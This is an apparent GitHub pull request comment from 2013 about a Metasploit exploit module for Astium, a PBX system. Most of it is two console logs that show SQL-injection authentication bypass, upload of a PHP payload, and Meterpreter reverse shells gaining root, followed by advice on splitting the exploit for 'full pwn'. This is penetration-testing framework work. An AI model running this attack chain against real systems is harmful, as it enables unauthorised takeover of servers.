xistence/metasploit-framework — pull request #1 by jvazquez-r7 (2013-09-19 17:10:02+00:00)
Title: Clean up Astium exploit

Hi @xistence,

This pull request tries to clean https://github.com/rapid7/metasploit-framework/pull/2379.

It's an awesome work, but I'm experiencing some issues at some point because of the configuration being overwritten:

* Sometimes works smoothly:

```
msf exploit(astium_sqli_upload) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.203:80 - Access login page
[+] 192.168.172.203:80 - Session cookie is [ gj1v40ngaca091pdcc52u0rb81 ]
[*] 192.168.172.203:80 - Location is [ http://192.168.172.203/en/content/index.php?astiumnls=gj1v40ngaca091pdcc52u0rb81 ]
[*] 192.168.172.203:80 - Following redirection
[*] 192.168.172.203:80 - Using SQLi to bypass authentication
[*] 192.168.172.203:80 - Uploading Payload [ UGjQKKY.php ]
[*] 192.168.172.203:80 - Requesting Payload [ /upload/UGjQKKY.php ]
[*] 192.168.172.203:80 - Waiting 1 minute as the reloading process may take some time
[*] Sending stage (39195 bytes) to 192.168.172.203
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.203:58990) at 2013-09-19 12:01:11 -0500
[+] Deleted /usr/local/astium/web/html/upload/UGjQKKY.php

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: root (0)
meterpreter > sysinfo
eComputer : localhost.localdomain
OS : Linux localhost.localdomain 2.6.18-348.16.1.el5 #1 SMP Wed Aug 21 04:03:57 EDT 2013 i686
Meterpreter : php/php
meterpreter > exit

```

* Sometimes two sessions are created, one of them unprivileged, when this happens the configuration has not been restored successfully:

```
msf exploit(astium_sqli_upload) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.203:80 - Access login page
[+] 192.168.172.203:80 - Session cookie is [ ctpve0sesg3828lectl1d24074 ]
[*] 192.168.172.203:80 - Location is [ http://192.168.172.203/en/content/index.php?astiumnls=ctpve0sesg3828lectl1d24074 ]
[*] 192.168.172.203:80 - Following redirection
[*] 192.168.172.203:80 - Using SQLi to bypass authentication
[*] 192.168.172.203:80 - Uploading Payload [ UCdEFxPwbNMcA.php ]
[*] 192.168.172.203:80 - Requesting Payload [ /upload/UCdEFxPwbNMcA.php ]
[*] 192.168.172.203:80 - Waiting 1 minute as the reloading process may take some time
[*] Sending stage (39195 bytes) to 192.168.172.203
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.203:58994) at 2013-09-19 11:54:19 -0500
[+] Deleted /usr/local/astium/web/html/upload/UCdEFxPwbNMcA.php
[*] Sending stage (39195 bytes) to 192.168.172.203
[*] Meterpreter session 2 opened (192.168.172.1:4444 -> 192.168.172.203:58996) at 2013-09-19 11:54:20 -0500

^C[-] Exploit failed: Interrupt

meterpreter > getuid
Server username: apache (48)
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Linux localhost.localdomain 2.6.18-348.16.1.el5 #1 SMP Wed Aug 21 04:03:57 EDT 2013 i686
Meterpreter : php/php
meterpreter > exi
[*] 192.168.172.203 - Meterpreter session 2 closed. Reason: Died
t
[*] Shutting down Meterpreter...
msf exploit(astium_sqli_upload) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: root (0)
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Linux localhost.localdomain 2.6.18-348.16.1.el5 #1 SMP Wed Aug 21 04:03:57 EDT 2013 i686
Meterpreter : php/php
meterpreter > exit -y
[*] Shutting down Meterpreter...

```

Honestly I think it's a very nice case for a remote / local exploits combo. It is, avoid the privilege escalation in the remote exploit , just achieve RCE and get apache uid, then write a local exploit to escalate privileges. On the other hands maybe the privilege escalation is still available:? did you try:? and having it as a separate module could help others to full pwn astium boxes if rce is achieved on other ways.

Let me know your feelings, I can help you to split it into two modules remote and local exploit if you like the idea :)

Personally I would prefer, as last benefit, since you're not overwriting configuration remotely, the remote exploit rank could be set as Excellent :) which is better for automatic pwnage!